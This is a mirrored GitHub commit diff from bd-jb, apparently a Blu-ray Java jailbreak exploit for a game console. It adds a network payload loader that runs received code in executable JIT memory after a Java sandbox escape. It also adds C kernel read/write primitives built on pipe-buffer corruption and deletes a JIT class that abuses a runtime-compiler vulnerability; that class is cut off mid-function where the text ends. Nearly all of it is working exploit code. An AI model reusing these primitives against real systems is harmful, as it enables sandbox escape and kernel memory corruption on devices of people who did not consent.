mirror of
https://github.com/TheOfficialFloW/bd-jb
synced 2024-12-21 14:08:50 -05:00
Add payloader loader and clean up.
This commit is contained in:
parent
84dfba6fd9
commit
b241d36ef6
8
Makefile
8
Makefile
@ -13,20 +13,22 @@ LOADER_CLASSES = \
|
||||
EXPLOIT_CLASSES = \
|
||||
$(SRC)/com/bdjb/Exploit.java \
|
||||
$(SRC)/com/bdjb/Screen.java \
|
||||
$(SRC)/com/bdjb/Payload.java \
|
||||
$(SRC)/com/bdjb/api/API.java \
|
||||
$(SRC)/com/bdjb/api/KernelAPI.java \
|
||||
$(SRC)/com/bdjb/api/Buffer.java \
|
||||
$(SRC)/com/bdjb/api/Text.java \
|
||||
$(SRC)/com/bdjb/api/Int8.java \
|
||||
$(SRC)/com/bdjb/api/Int8Array.java \
|
||||
$(SRC)/com/bdjb/api/Int16.java \
|
||||
$(SRC)/com/bdjb/api/Int16Array.java \
|
||||
$(SRC)/com/bdjb/api/Int32.java \
|
||||
$(SRC)/com/bdjb/api/Int32Array.java \
|
||||
$(SRC)/com/bdjb/api/Int64.java \
|
||||
$(SRC)/com/bdjb/api/Int64Array.java \
|
||||
$(SRC)/com/bdjb/api/UnsafeInterface.java \
|
||||
$(SRC)/com/bdjb/api/UnsafeJdkImpl.java \
|
||||
$(SRC)/com/bdjb/api/UnsafeSunImpl.java \
|
||||
$(SRC)/com/bdjb/jit/AbstractJit.java \
|
||||
$(SRC)/com/bdjb/jit/JitDefaultImpl.java \
|
||||
$(SRC)/com/bdjb/jit/JitCompilerReceiverImpl.java \
|
||||
$(SRC)/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java \
|
||||
$(SRC)/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java \
|
||||
$(SRC)/com/bdjb/exploit/sandbox/ExploitServiceProxyImpl.java \
|
||||
|
@ -3,8 +3,8 @@ OBJS = start.o payload.o
|
||||
|
||||
CC = gcc
|
||||
OBJCOPY = objcopy
|
||||
CFLAGS = -isystem freebsd-headers/include -Os -fno-stack-protector
|
||||
LDFLAGS = -T linker.x -nostdlib -nostartfiles
|
||||
CFLAGS = -DSMP -isystem freebsd-headers/include -Wl,--build-id=none -Os -fno-stack-protector -fcf-protection=none -fpic -fpie
|
||||
LDFLAGS = -T linker.ld -nostartfiles -nostdlib
|
||||
|
||||
all: $(TARGET).bin
|
||||
|
||||
|
22
payload/linker.ld
Normal file
22
payload/linker.ld
Normal file
@ -0,0 +1,22 @@
|
||||
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
|
||||
OUTPUT_ARCH(i386:x86-64)
|
||||
|
||||
ENTRY(_start)
|
||||
|
||||
PHDRS
|
||||
{
|
||||
text PT_LOAD ;
|
||||
rodata PT_LOAD ;
|
||||
data PT_LOAD ;
|
||||
bss PT_LOAD ;
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
.text : { *(.text) } :text
|
||||
.rodata : { *(.rodata) *(.rodata.*) } :rodata
|
||||
.data : { *(.data) } :data
|
||||
.bss : { *(.bss) *(COMMON) } :bss
|
||||
.shstrtab : { *(.shstrtab) }
|
||||
/DISCARD/ : { *(*) }
|
||||
}
|
@ -1,14 +0,0 @@
|
||||
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
|
||||
OUTPUT_ARCH(i386:x86-64)
|
||||
|
||||
ENTRY(_start)
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x916300000;
|
||||
.text : { *(.text .text.*) }
|
||||
. = 0x916304000;
|
||||
.rodata : { *(.rodata .rodata.*) }
|
||||
.data : { *(.data .data.*) }
|
||||
.bss : { *(.bss .bss.*) }
|
||||
}
|
@ -7,15 +7,17 @@
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#define LOG_IP "192.168.254.120"
|
||||
#define LOG_IP "192.168.1.53"
|
||||
#define LOG_PORT 1337
|
||||
|
||||
#define LIBC_MODULE_HANDLE 0x2
|
||||
#define LIBKERNEL_MODULE_HANDLE 0x2001
|
||||
|
||||
#define PAGE_SIZE 0x4000
|
||||
|
||||
typedef int32_t SceKernelModule;
|
||||
|
||||
int (*sceKernelDlsym)(SceKernelModule handle, const char *symbol, void **addrp);
|
||||
void *(*dlsym)(SceKernelModule handle, const char *symbol);
|
||||
|
||||
// libkernel functions
|
||||
|
||||
@ -162,8 +164,7 @@ int vsnprintf(char *restrict str, size_t size, const char *restrict format,
|
||||
}
|
||||
|
||||
void resolve_imports(void) {
|
||||
#define LIBKERNEL_RESOLVE(name) \
|
||||
sceKernelDlsym(LIBKERNEL_MODULE_HANDLE, #name, (void **)&_##name)
|
||||
#define LIBKERNEL_RESOLVE(name) _##name = dlsym(LIBKERNEL_MODULE_HANDLE, #name)
|
||||
LIBKERNEL_RESOLVE(__error);
|
||||
LIBKERNEL_RESOLVE(accept);
|
||||
LIBKERNEL_RESOLVE(bind);
|
||||
@ -177,18 +178,17 @@ void resolve_imports(void) {
|
||||
LIBKERNEL_RESOLVE(write);
|
||||
#undef LIBKERNEL_RESOLVE
|
||||
|
||||
#define LIBC_RESOLVE(name) \
|
||||
sceKernelDlsym(LIBC_MODULE_HANDLE, #name, (void **)&_##name)
|
||||
#define LIBC_RESOLVE(name) _##name = dlsym(LIBC_MODULE_HANDLE, #name)
|
||||
LIBC_RESOLVE(calloc);
|
||||
LIBC_RESOLVE(fclose);
|
||||
LIBC_RESOLVE(fopen);
|
||||
LIBC_RESOLVE(fread);
|
||||
// LIBC_RESOLVE(free);
|
||||
sceKernelDlsym(LIBC_MODULE_HANDLE, "free", (void **)&free);
|
||||
free = dlsym(LIBC_MODULE_HANDLE, "free");
|
||||
LIBC_RESOLVE(fseek);
|
||||
LIBC_RESOLVE(ftell);
|
||||
// LIBC_RESOLVE(malloc);
|
||||
sceKernelDlsym(LIBC_MODULE_HANDLE, "malloc", (void **)&malloc);
|
||||
malloc = dlsym(LIBC_MODULE_HANDLE, "malloc");
|
||||
LIBC_RESOLVE(memcpy);
|
||||
LIBC_RESOLVE(memset);
|
||||
LIBC_RESOLVE(realloc);
|
||||
@ -220,6 +220,7 @@ int printf(const char *__restrict fmt, ...) {
|
||||
|
||||
int puts(const char *str) {
|
||||
write(log_sock, str, strlen(str));
|
||||
write(log_sock, "\n", 1);
|
||||
return 0;
|
||||
}
|
||||
|
||||
@ -249,10 +250,82 @@ int init_log(void) {
|
||||
|
||||
void shutdown_log(void) { close(log_sock); }
|
||||
|
||||
int payload(void *dlsym) {
|
||||
typedef struct {
|
||||
void *dlsym;
|
||||
uint64_t kaslr_offset;
|
||||
int *master_pipe_fd;
|
||||
int *victim_pipe_fd;
|
||||
} PayloadArgs;
|
||||
|
||||
PayloadArgs *payload_args;
|
||||
|
||||
struct pipebuf {
|
||||
uint32_t cnt;
|
||||
uint32_t in;
|
||||
uint32_t out;
|
||||
uint32_t size;
|
||||
uintptr_t buffer;
|
||||
};
|
||||
|
||||
int corrupt_pipebuf(uint32_t cnt, uint32_t in, uint32_t out, uint32_t size,
|
||||
uintptr_t buffer) {
|
||||
struct pipebuf buf = {};
|
||||
buf.cnt = cnt;
|
||||
buf.in = in;
|
||||
buf.out = out;
|
||||
buf.size = size;
|
||||
buf.buffer = buffer;
|
||||
write(payload_args->master_pipe_fd[1], &buf, sizeof(buf));
|
||||
return read(payload_args->master_pipe_fd[0], &buf, sizeof(buf));
|
||||
}
|
||||
|
||||
int kread(void *dest, uintptr_t src, size_t n) {
|
||||
corrupt_pipebuf(n, 0, 0, PAGE_SIZE, src);
|
||||
return read(payload_args->victim_pipe_fd[0], dest, n);
|
||||
}
|
||||
|
||||
int kwrite(uintptr_t dest, const void *src, size_t n) {
|
||||
corrupt_pipebuf(0, 0, 0, PAGE_SIZE, dest);
|
||||
return write(payload_args->victim_pipe_fd[1], src, n);
|
||||
}
|
||||
|
||||
uint8_t kread8(uintptr_t addr) {
|
||||
uint8_t val = 0;
|
||||
kread(&val, addr, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint16_t kread16(uintptr_t addr) {
|
||||
uint16_t val = 0;
|
||||
kread(&val, addr, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t kread32(uintptr_t addr) {
|
||||
uint32_t val = 0;
|
||||
kread(&val, addr, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
uint64_t kread64(uintptr_t addr) {
|
||||
uint64_t val = 0;
|
||||
kread(&val, addr, sizeof(val));
|
||||
return val;
|
||||
}
|
||||
|
||||
void kwrite8(uintptr_t addr, uint8_t val) { kwrite(addr, &val, sizeof(val)); }
|
||||
|
||||
void kwrite16(uintptr_t addr, uint16_t val) { kwrite(addr, &val, sizeof(val)); }
|
||||
|
||||
void kwrite32(uintptr_t addr, uint32_t val) { kwrite(addr, &val, sizeof(val)); }
|
||||
|
||||
void kwrite64(uintptr_t addr, uint64_t val) { kwrite(addr, &val, sizeof(val)); }
|
||||
|
||||
int payload(PayloadArgs *args) {
|
||||
int ret;
|
||||
|
||||
sceKernelDlsym = dlsym;
|
||||
payload_args = args;
|
||||
dlsym = args->dlsym;
|
||||
|
||||
resolve_imports();
|
||||
|
||||
@ -260,7 +333,7 @@ int payload(void *dlsym) {
|
||||
if (ret < 0)
|
||||
return errno;
|
||||
|
||||
printf("payload entered\n");
|
||||
printf("[+] Payload entered\n");
|
||||
|
||||
shutdown_log();
|
||||
|
||||
|
@ -11,9 +11,15 @@ import com.bdjb.exploit.kernel.ExploitKernelInterface;
|
||||
import com.bdjb.exploit.sandbox.ExploitDefaultImpl;
|
||||
import com.bdjb.exploit.sandbox.ExploitSandboxInterface;
|
||||
import com.bdjb.exploit.sandbox.ExploitServiceProxyImpl;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
|
||||
public class Exploit {
|
||||
private static final int PAYLOAD_PORT = 9021;
|
||||
|
||||
public static void main(Method screenPrintln) {
|
||||
Screen.setRemotePrintln(screenPrintln);
|
||||
Screen.println("[*] Escaping Java Sandbox...");
|
||||
@ -51,5 +57,38 @@ public class Exploit {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
while (true) {
|
||||
try {
|
||||
Screen.println("[*] Listening for payload on port " + PAYLOAD_PORT + "...");
|
||||
|
||||
ServerSocket serverSocket = new ServerSocket(PAYLOAD_PORT);
|
||||
Socket socket = serverSocket.accept();
|
||||
InputStream inputStream = socket.getInputStream();
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
|
||||
byte[] buf = new byte[8192];
|
||||
int total = 0;
|
||||
int read;
|
||||
while ((read = inputStream.read(buf)) > 0) {
|
||||
outputStream.write(buf, 0, read);
|
||||
total += read;
|
||||
}
|
||||
|
||||
inputStream.close();
|
||||
socket.close();
|
||||
serverSocket.close();
|
||||
|
||||
Screen.println("[+] Received " + total + " bytes");
|
||||
|
||||
Screen.println("[*] Launching payload...");
|
||||
Payload payload = new Payload(outputStream.toByteArray());
|
||||
int ret = payload.execute();
|
||||
|
||||
Screen.println("[*] Payload exited: " + Integer.toHexString(ret));
|
||||
} catch (Exception e) {
|
||||
Screen.println("[-] Error: " + e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -25,7 +25,7 @@ class Loader implements Runnable {
|
||||
|
||||
private static final int JAR_PORT = 9025;
|
||||
|
||||
static void startJarLoader() {
|
||||
static void startLoader() {
|
||||
new Thread(new Loader()).start();
|
||||
}
|
||||
|
||||
@ -33,9 +33,9 @@ class Loader implements Runnable {
|
||||
Screen.println("[+] bd-jb by theflow");
|
||||
|
||||
while (true) {
|
||||
Screen.println("[*] Listening for JAR on port " + JAR_PORT + "...");
|
||||
|
||||
try {
|
||||
Screen.println("[*] Listening for JAR on port " + JAR_PORT + "...");
|
||||
|
||||
ServerSocket serverSocket = new ServerSocket(JAR_PORT);
|
||||
Socket socket = serverSocket.accept();
|
||||
InputStream inputStream = socket.getInputStream();
|
||||
|
@ -29,7 +29,7 @@ public class LoaderXlet implements Xlet {
|
||||
public void startXlet() {
|
||||
screen.setVisible(true);
|
||||
scene.setVisible(true);
|
||||
Loader.startJarLoader();
|
||||
Loader.startLoader();
|
||||
}
|
||||
|
||||
public void pauseXlet() {
|
||||
|
133
src/com/bdjb/Payload.java
Normal file
133
src/com/bdjb/Payload.java
Normal file
@ -0,0 +1,133 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import com.bdjb.api.API;
|
||||
import com.bdjb.api.Buffer;
|
||||
import com.bdjb.api.KernelAPI;
|
||||
import com.bdjb.api.Int32;
|
||||
import com.bdjb.api.Text;
|
||||
|
||||
public class Payload {
|
||||
private static final String SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL =
|
||||
"sceKernelJitCreateSharedMemory";
|
||||
private static final String MMAP_SYMBOL = "mmap";
|
||||
private static final String MUNMAP_SYMBOL = "munmap";
|
||||
private static final String CLOSE_SYMBOL = "close";
|
||||
private static final String DLSYM_SYMBOL = "dlsym";
|
||||
|
||||
private static final int LIBPROSPERO_WRAPPER_MODULE_HANDLE = 0x3D;
|
||||
|
||||
private static final int PROT_READ = 0x1;
|
||||
private static final int PROT_WRITE = 0x2;
|
||||
private static final int PROT_EXEC = 0x4;
|
||||
|
||||
private static final int MAP_SHARED = 0x1;
|
||||
|
||||
private static final long MAP_FAILED = -1;
|
||||
|
||||
private static final int ALIGNMENT = 0x100000;
|
||||
|
||||
private static final API api;
|
||||
private static final KernelAPI kapi = KernelAPI.getInstance();
|
||||
|
||||
static {
|
||||
try {
|
||||
api = API.getInstance();
|
||||
} catch (Exception e) {
|
||||
throw new ExceptionInInitializerError(e);
|
||||
}
|
||||
}
|
||||
|
||||
private final long sceKernelJitCreateSharedMemory;
|
||||
private final long mmap;
|
||||
private final long munmap;
|
||||
private final long close;
|
||||
|
||||
private final byte[] payload;
|
||||
|
||||
public Payload(byte[] payload) {
|
||||
sceKernelJitCreateSharedMemory =
|
||||
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL);
|
||||
mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MMAP_SYMBOL);
|
||||
munmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MUNMAP_SYMBOL);
|
||||
close = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, CLOSE_SYMBOL);
|
||||
if (sceKernelJitCreateSharedMemory == 0 || mmap == 0 || munmap == 0 || close == 0) {
|
||||
throw new InternalError("symbols not found");
|
||||
}
|
||||
|
||||
this.payload = payload;
|
||||
}
|
||||
|
||||
private int sceKernelJitCreateSharedMemory(Text name, long len, int maxProt, Int32 fdOut) {
|
||||
return (int)
|
||||
api.call(
|
||||
sceKernelJitCreateSharedMemory,
|
||||
name.address(),
|
||||
len,
|
||||
maxProt,
|
||||
fdOut != null ? fdOut.address() : 0);
|
||||
}
|
||||
|
||||
private long mmap(long addr, long len, int prot, int flags, int fd, long offset) {
|
||||
return api.call(mmap, addr, len, prot, flags, fd, offset);
|
||||
}
|
||||
|
||||
private int munmap(long addr, long len) {
|
||||
return (int) api.call(munmap, addr, len);
|
||||
}
|
||||
|
||||
private int close(int fd) {
|
||||
return (int) api.call(close, fd);
|
||||
}
|
||||
|
||||
private long align(long x, long align) {
|
||||
return (x + align - 1) & -align;
|
||||
}
|
||||
|
||||
public int execute() {
|
||||
long alignedSize = align(payload.length, ALIGNMENT);
|
||||
|
||||
Int32 handle = new Int32();
|
||||
|
||||
// Create JIT handle.
|
||||
if (sceKernelJitCreateSharedMemory(
|
||||
new Text("payload"), alignedSize, PROT_READ | PROT_WRITE | PROT_EXEC, handle)
|
||||
!= 0) {
|
||||
throw new InternalError("sceKernelJitCreateSharedMemory failed");
|
||||
}
|
||||
|
||||
// Map payload.
|
||||
long rwx =
|
||||
mmap(0, alignedSize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED, handle.get(), 0);
|
||||
if (rwx == MAP_FAILED) {
|
||||
throw new InternalError("mmap failed");
|
||||
}
|
||||
|
||||
// Copy in payload.
|
||||
api.memcpy(rwx, payload, payload.length);
|
||||
|
||||
// Close JIT handle.
|
||||
close(handle.get());
|
||||
|
||||
// Prepare arguments.
|
||||
Buffer args = new Buffer(0x20);
|
||||
args.putLong(0x00, api.dlsym(LIBPROSPERO_WRAPPER_MODULE_HANDLE, DLSYM_SYMBOL));
|
||||
args.putLong(0x08, kapi.getKaslrOffset());
|
||||
args.putLong(0x10, kapi.getMasterPipeFd().address());
|
||||
args.putLong(0x18, kapi.getVictimPipeFd().address());
|
||||
|
||||
// Execute payload.
|
||||
int ret = (int) api.call(rwx, args.address());
|
||||
|
||||
// Unmap payload.
|
||||
munmap(rwx, alignedSize);
|
||||
|
||||
return ret;
|
||||
}
|
||||
}
|
@ -45,9 +45,9 @@ public final class API {
|
||||
|
||||
private static final int ARRAY_BASE_OFFSET = 0x18;
|
||||
|
||||
private static API instance;
|
||||
private static final ThreadLocal callContexts = new ThreadLocal();
|
||||
|
||||
private static ThreadLocal callContexts = new ThreadLocal();
|
||||
private static API instance;
|
||||
|
||||
private UnsafeInterface unsafe;
|
||||
|
||||
@ -133,7 +133,7 @@ public final class API {
|
||||
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
|
||||
if (__Ux86_64_setcontext == 0) {
|
||||
// In earlier versions, there's a bug where only the main executable's handle is used.
|
||||
executableHandle = JVM_NativePath & ~(4 - 1);
|
||||
executableHandle = JVM_NativePath & -4;
|
||||
while (strcmp(executableHandle, UNSUPPORTED_DLOPEN_OPERATION_STRING) != 0) {
|
||||
executableHandle += 4;
|
||||
}
|
||||
@ -183,8 +183,8 @@ public final class API {
|
||||
long constants = read64(constMethod + 0x08);
|
||||
short nameIndex = read16(constMethod + 0x2A);
|
||||
short signatureIndex = read16(constMethod + 0x2C);
|
||||
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1);
|
||||
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1);
|
||||
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & -2;
|
||||
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & -2;
|
||||
short nameLength = read16(nameSymbol + 0x00);
|
||||
short signatureLength = read16(signatureSymbol + 0x00);
|
||||
|
||||
@ -207,8 +207,8 @@ public final class API {
|
||||
long constants = read64(method + 0x18);
|
||||
short nameIndex = read16(constMethod + 0x42);
|
||||
short signatureIndex = read16(constMethod + 0x44);
|
||||
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1);
|
||||
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1);
|
||||
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & -2;
|
||||
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & -2;
|
||||
short nameLength = read16(nameSymbol + 0x08);
|
||||
short signatureLength = read16(signatureSymbol + 0x08);
|
||||
|
||||
@ -601,21 +601,20 @@ public final class API {
|
||||
}
|
||||
|
||||
class CallContext {
|
||||
long[] fakeClassOop;
|
||||
long[] fakeClass;
|
||||
long[] fakeKlass;
|
||||
long[] fakeKlassVtable;
|
||||
final long[] fakeClassOop;
|
||||
final long[] fakeClass;
|
||||
final long[] fakeKlass;
|
||||
final long[] fakeKlassVtable;
|
||||
|
||||
long fakeClassOopAddr;
|
||||
long fakeClassAddr;
|
||||
long fakeKlassAddr;
|
||||
long fakeKlassVtableAddr;
|
||||
final long fakeClassOopAddr;
|
||||
final long fakeClassAddr;
|
||||
final long fakeKlassAddr;
|
||||
final long fakeKlassVtableAddr;
|
||||
|
||||
private long[][] callContextArray = new long[4][0];
|
||||
private long callcontextBuffer;
|
||||
private final long callContextBuffer;
|
||||
|
||||
CallContext() {
|
||||
callcontextBuffer =
|
||||
callContextBuffer =
|
||||
malloc(
|
||||
ARRAY_BASE_OFFSET
|
||||
+ Int64.SIZE
|
||||
@ -625,12 +624,12 @@ public final class API {
|
||||
+ 0x200
|
||||
+ ARRAY_BASE_OFFSET
|
||||
+ 0x400);
|
||||
if (callcontextBuffer == 0) {
|
||||
if (callContextBuffer == 0) {
|
||||
throw new OutOfMemoryError("malloc failed");
|
||||
}
|
||||
|
||||
// Get array addresses.
|
||||
fakeClassOopAddr = callcontextBuffer + ARRAY_BASE_OFFSET;
|
||||
fakeClassOopAddr = callContextBuffer + ARRAY_BASE_OFFSET;
|
||||
fakeClassAddr = fakeClassOopAddr + Int64.SIZE + ARRAY_BASE_OFFSET;
|
||||
fakeKlassAddr = fakeClassAddr + 0x100 + ARRAY_BASE_OFFSET;
|
||||
fakeKlassVtableAddr = fakeKlassAddr + 0x200 + ARRAY_BASE_OFFSET;
|
||||
@ -655,6 +654,7 @@ public final class API {
|
||||
write64(fakeKlassAddr - 8, 0xFFFFFFFF);
|
||||
write64(fakeKlassVtableAddr - 8, 0xFFFFFFFF);
|
||||
|
||||
long[][] callContextArray = new long[4][0];
|
||||
long callContextArrayAddr = addrof(callContextArray) + ARRAY_BASE_OFFSET;
|
||||
|
||||
// Put array addresses into callContextArray.
|
||||
@ -688,7 +688,7 @@ public final class API {
|
||||
}
|
||||
|
||||
protected void finalize() {
|
||||
free(callcontextBuffer);
|
||||
free(callContextBuffer);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -27,7 +27,7 @@ public class Buffer {
|
||||
this.size = size;
|
||||
}
|
||||
|
||||
public void finalize() {
|
||||
protected void finalize() {
|
||||
api.free(address);
|
||||
}
|
||||
|
||||
|
@ -34,6 +34,9 @@ public class KernelAPI {
|
||||
}
|
||||
}
|
||||
|
||||
private final Buffer victimPipebuf = new Buffer(PIPEBUF_SIZE);
|
||||
private final Buffer tmp = new Buffer(PAGE_SIZE);
|
||||
|
||||
private long pipe;
|
||||
private long read;
|
||||
private long write;
|
||||
@ -50,9 +53,6 @@ public class KernelAPI {
|
||||
private int victimRpipeFd;
|
||||
private int victimWpipeFd;
|
||||
|
||||
private Buffer victimPipebuf = new Buffer(PIPEBUF_SIZE);
|
||||
private Buffer tmp = new Buffer(PAGE_SIZE);
|
||||
|
||||
private KernelAPI() {
|
||||
this.init();
|
||||
}
|
||||
|
@ -8,7 +8,7 @@
|
||||
package com.bdjb.api;
|
||||
|
||||
public class Text extends Buffer {
|
||||
private String text;
|
||||
private final String text;
|
||||
|
||||
public Text(String text) {
|
||||
super(text.length() + 1);
|
||||
|
@ -1,114 +0,0 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb.jit;
|
||||
|
||||
import com.bdjb.api.API;
|
||||
import java.io.RandomAccessFile;
|
||||
|
||||
abstract class AbstractJit {
|
||||
public static final int PROT_NONE = 0x0;
|
||||
public static final int PROT_READ = 0x1;
|
||||
public static final int PROT_WRITE = 0x2;
|
||||
public static final int PROT_EXEC = 0x4;
|
||||
|
||||
public static final int MAP_SHARED = 0x1;
|
||||
public static final int MAP_PRIVATE = 0x2;
|
||||
public static final int MAP_FIXED = 0x10;
|
||||
public static final int MAP_ANONYMOUS = 0x1000;
|
||||
|
||||
public static final long MAP_FAILED = -1;
|
||||
|
||||
public static final int PAGE_SIZE = 0x4000;
|
||||
public static final int ALIGNMENT = 0x100000;
|
||||
|
||||
protected static final int CHUNK_SIZE = 0x30;
|
||||
|
||||
protected static final API api;
|
||||
|
||||
private static final String MMAP_SYMBOL = "mmap";
|
||||
|
||||
static {
|
||||
try {
|
||||
api = API.getInstance();
|
||||
} catch (Exception e) {
|
||||
throw new ExceptionInInitializerError(e);
|
||||
}
|
||||
}
|
||||
|
||||
protected long mmap;
|
||||
|
||||
protected AbstractJit() {
|
||||
mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MMAP_SYMBOL);
|
||||
if (mmap == 0) {
|
||||
throw new InternalError("symbols not found");
|
||||
}
|
||||
}
|
||||
|
||||
protected long mmap(long addr, long len, int prot, int flags, int fd, long offset) {
|
||||
return api.call(mmap, addr, len, prot, flags, fd, offset);
|
||||
}
|
||||
|
||||
protected long align(long x, long align) {
|
||||
return (x + align - 1) & ~(align - 1);
|
||||
}
|
||||
|
||||
protected abstract long jitMap(long size, long alignment);
|
||||
|
||||
protected abstract void jitCopy(long dest, byte[] src, long n);
|
||||
|
||||
public long mapPayload(String path, long dataSectionOffset) throws Exception {
|
||||
RandomAccessFile file = new RandomAccessFile(path, "r");
|
||||
|
||||
if ((dataSectionOffset & (PAGE_SIZE - 1)) != 0) {
|
||||
throw new IllegalArgumentException("unaligned data section offset");
|
||||
}
|
||||
|
||||
if (dataSectionOffset < 0 || dataSectionOffset > file.length()) {
|
||||
throw new IllegalArgumentException("invalid data section offset");
|
||||
}
|
||||
|
||||
// Allocate JIT memory.
|
||||
long address = jitMap(file.length(), ALIGNMENT);
|
||||
|
||||
byte[] chunk = new byte[CHUNK_SIZE];
|
||||
|
||||
// Copy .text section.
|
||||
for (long i = 0; i < dataSectionOffset; i += chunk.length) {
|
||||
api.memset(chunk, 0, chunk.length);
|
||||
|
||||
file.seek(i);
|
||||
int read = file.read(chunk, 0, (int) Math.min(dataSectionOffset - i, chunk.length));
|
||||
|
||||
jitCopy(address + i, chunk, read);
|
||||
}
|
||||
|
||||
// Map the .data section as RW.
|
||||
if (mmap(
|
||||
address + dataSectionOffset,
|
||||
align(file.length() - dataSectionOffset, PAGE_SIZE),
|
||||
PROT_READ | PROT_WRITE,
|
||||
MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS,
|
||||
-1,
|
||||
0)
|
||||
== MAP_FAILED) {
|
||||
throw new InternalError("mmap failed");
|
||||
}
|
||||
|
||||
// Copy .data section.
|
||||
for (long i = dataSectionOffset; i < file.length(); i += chunk.length) {
|
||||
api.memset(chunk, 0, chunk.length);
|
||||
|
||||
file.seek(i);
|
||||
int read = file.read(chunk, 0, (int) Math.min(file.length() - i, chunk.length));
|
||||
|
||||
api.memcpy(address + i, chunk, read);
|
||||
}
|
||||
|
||||
return address;
|
||||
}
|
||||
}
|
@ -1,174 +0,0 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2024 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb.jit;
|
||||
|
||||
import com.bdjb.api.API;
|
||||
import com.bdjb.api.Buffer;
|
||||
import com.bdjb.api.Int8;
|
||||
import com.bdjb.api.Text;
|
||||
|
||||
/**
|
||||
* JIT implementation that exploits a vulnerability in the runtime-compiler protocol to copy data to
|
||||
* executable memory.
|
||||
*/
|
||||
public final class JitCompilerReceiverImpl extends AbstractJit {
|
||||
// We actually have 32MB of code memory, but reserve 8MB for Java JIT.
|
||||
public static final int MAX_CODE_SIZE = 24 * 1024 * 1024;
|
||||
|
||||
private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160;
|
||||
|
||||
private static final int COMPILER_AGENT_REQUEST_SIZE = 0x58;
|
||||
|
||||
private static final byte ACK_MAGIC_NUMBER = (byte) 0xAA;
|
||||
|
||||
private static final byte[] BUFFER_BLOB_CREATE_SEQ = {
|
||||
(byte) 0x89, (byte) 0xF8, (byte) 0x49, (byte) 0x8B, (byte) 0x0F
|
||||
};
|
||||
|
||||
private static final byte[] COMPILER_AGENT_SENDER_THREAD_SEQ = {
|
||||
(byte) 0x4C, (byte) 0x8B, (byte) 0x70, (byte) 0x08, (byte) 0x41
|
||||
};
|
||||
|
||||
private static final int BDJ_MODULE_HANDLE = 0;
|
||||
|
||||
private static final String SCE_KERNEL_GET_MODULE_INFO_SYMBOL = "sceKernelGetModuleInfo";
|
||||
private static final String WRITE_SYMBOL = "write";
|
||||
private static final String READ_SYMBOL = "read";
|
||||
|
||||
private static JitCompilerReceiverImpl instance;
|
||||
|
||||
private long sceKernelGetModuleInfo;
|
||||
private long read;
|
||||
private long write;
|
||||
private long BufferBlob__create;
|
||||
|
||||
private int compilerAgentSocket;
|
||||
|
||||
private JitCompilerReceiverImpl() {
|
||||
this.init();
|
||||
}
|
||||
|
||||
public static synchronized JitCompilerReceiverImpl getInstance() {
|
||||
if (instance == null) {
|
||||
instance = new JitCompilerReceiverImpl();
|
||||
}
|
||||
return instance;
|
||||
}
|
||||
|
||||
private void init() {
|
||||
initSymbols();
|
||||
initJitHelpers();
|
||||
}
|
||||
|
||||
private void initSymbols() {
|
||||
sceKernelGetModuleInfo =
|
||||
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL);
|
||||
read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL);
|
||||
write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL);
|
||||
|
||||
if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) {
|
||||
throw new InternalError("symbols not found");
|
||||
}
|
||||
}
|
||||
|
||||
private void initJitHelpers() {
|
||||
Buffer modinfo = new Buffer(SCE_KERNEL_MODULE_INFO_SIZE);
|
||||
modinfo.fill((byte) 0);
|
||||
